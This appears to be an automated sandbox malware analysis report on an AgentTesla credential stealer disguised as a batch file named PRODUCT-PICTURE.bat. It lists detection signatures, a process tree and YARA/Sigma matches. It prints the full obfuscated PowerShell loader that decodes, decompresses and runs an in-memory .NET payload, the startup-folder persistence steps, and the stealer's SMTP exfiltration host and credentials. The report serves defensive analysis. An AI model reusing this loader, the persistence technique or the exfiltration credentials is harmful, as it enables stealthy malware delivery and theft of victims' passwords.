Edit tour

Windows Analysis Report
PRODUCT-PICTURE.bat

Overview

General Information

Sample name:	PRODUCT-PICTURE.bat
Analysis ID:	1547842
MD5:	f131dee7460f93f201972c93f2d69ae5
SHA1:	124fb3a362a9677c249670cb3440c6881a4507e3
SHA256:	4429d220f63c6d7804095c2d67eeecde325e4989393dc67be19bb61d5833c880
Tags:	AgentTeslabatuser-TeamDreier
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops VBS files to the startup folder

Found large BAT file

Injects a PE file into a foreign processes

Installs a global keyboard hook

Powershell is started from unusual location (likely to bypass HIPS)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7336 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7392 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7408 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo F " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

xcopy.exe (PID: 7416 cmdline: xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq MD5: 39FBFD3AF58238C6F9D4D408C9251FF5)

attrib.exe (PID: 7444 cmdline: attrib +s +h C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

PRODUCT-PICTURE.bat.Usq (PID: 7460 cmdline: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

InstallUtil.exe (PID: 7580 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

wscript.exe (PID: 7768 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7816 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\IV.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7860 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7880 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo F " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

xcopy.exe (PID: 7888 cmdline: xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\AppData\Roaming\IV.bat.Usq MD5: 39FBFD3AF58238C6F9D4D408C9251FF5)

attrib.exe (PID: 7912 cmdline: attrib +s +h C:\Users\user\AppData\Roaming\IV.bat.Usq MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

IV.bat.Usq (PID: 7928 cmdline: C:\Users\user\AppData\Roaming\IV.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\AppData\Roaming\IV.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

InstallUtil.exe (PID: 8084 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "nffplp.com", "Username": "airlet@nffplp.com", "Password": "$Nke%8XIIDtm"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.4154044775.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.1851117806.000000000255D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.1851117806.0000000002581000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1716108086.0000000008DA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.1911240345.0000000009096000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1e4ecb:$b2: ::FromBase64String( 0x1e51f8:$b2: ::FromBase64String( 0x1e668c:$b2: ::FromBase64String( 0x2de668:$b2: ::FromBase64String( 0x2de99b:$b2: ::FromBase64String( 0x2e08e5:$b2: ::FromBase64String( 0x2e0c18:$b2: ::FromBase64String( 0x2e1cc7:$b2: ::FromBase64String( 0x2e1ffb:$b2: ::FromBase64String( 0x37ba50:$b2: ::FromBase64String( 0x394d33:$b2: ::FromBase64String( 0x396346:$b2: ::FromBase64String( 0x396673:$b2: ::FromBase64String( 0x3c0b18:$b2: ::FromBase64String( 0x3c0e45:$b2: ::FromBase64String( 0x3c6487:$b2: ::FromBase64String( 0x5b7aa0:$b2: ::FromBase64String( 0x5d7c97:$b2: ::FromBase64String( 0x5da358:$b2: ::FromBase64String( 0x232e87:$s1: -join 0x26f129:$s1: -join
Process Memory Space: InstallUtil.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7580	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: IV.bat.Usq PID: 7928	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: IV.bat.Usq PID: 7928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: IV.bat.Usq PID: 7928	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: IV.bat.Usq PID: 7928	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: IV.bat.Usq PID: 7928	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4a31:$b2: ::FromBase64String( 0x4d5a:$b2: ::FromBase64String( 0x5df2:$b2: ::FromBase64String( 0x611c:$b2: ::FromBase64String( 0x8d60:$b2: ::FromBase64String( 0x9083:$b2: ::FromBase64String( 0x4185c:$b2: ::FromBase64String( 0x41b7f:$b2: ::FromBase64String( 0x4cd0e:$b2: ::FromBase64String( 0x4d031:$b2: ::FromBase64String( 0x4e21a:$b2: ::FromBase64String( 0x90a3d:$b2: ::FromBase64String( 0x93f40:$b2: ::FromBase64String( 0x1104ab:$b2: ::FromBase64String( 0x1107d4:$b2: ::FromBase64String( 0x17e9a4:$b2: ::FromBase64String( 0x181fb7:$b2: ::FromBase64String( 0x1ba117:$b2: ::FromBase64String( 0x1ba4e4:$b2: ::FromBase64String( 0x112552:$s1: -join 0x173354:$s1: -join
Process Memory Space: InstallUtil.exe PID: 8084	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8084	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.IV.bat.Usq.90964c8.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.8da0000.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.InstallUtil.exe.530000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.InstallUtil.exe.530000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.InstallUtil.exe.530000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.InstallUtil.exe.530000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.PRODUCT-PICTURE.bat.Usq.8fa64c8.14.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.IV.bat.Usq.92c0790.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.IV.bat.Usq.92c0790.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.IV.bat.Usq.92c0790.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.IV.bat.Usq.92c0790.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f50f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f581:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f60b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f69d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f707:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f779:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f80f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6f89f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.IV.bat.Usq.92c0790.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.IV.bat.Usq.92c0790.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.IV.bat.Usq.92c0790.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x322ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32361:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x323eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3247d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x324e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32559:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x325ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3267f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x340ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f50f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34161:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f581:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x341eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f60b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3427d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f69d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x342e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f707:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34359:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f779:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x343ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f80f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3447f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6f89f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x322ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32361:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x323eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3247d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x324e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32559:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x325ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3267f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine|base64offset|contains: hv)^, Image: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, NewProcessName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, OriginalFileName: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7336, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", ProcessId: 7460, ProcessName: PRODUCT-PICTURE.bat.Usq

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs" , ProcessId: 7768, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' | Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null", CommandLine: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' 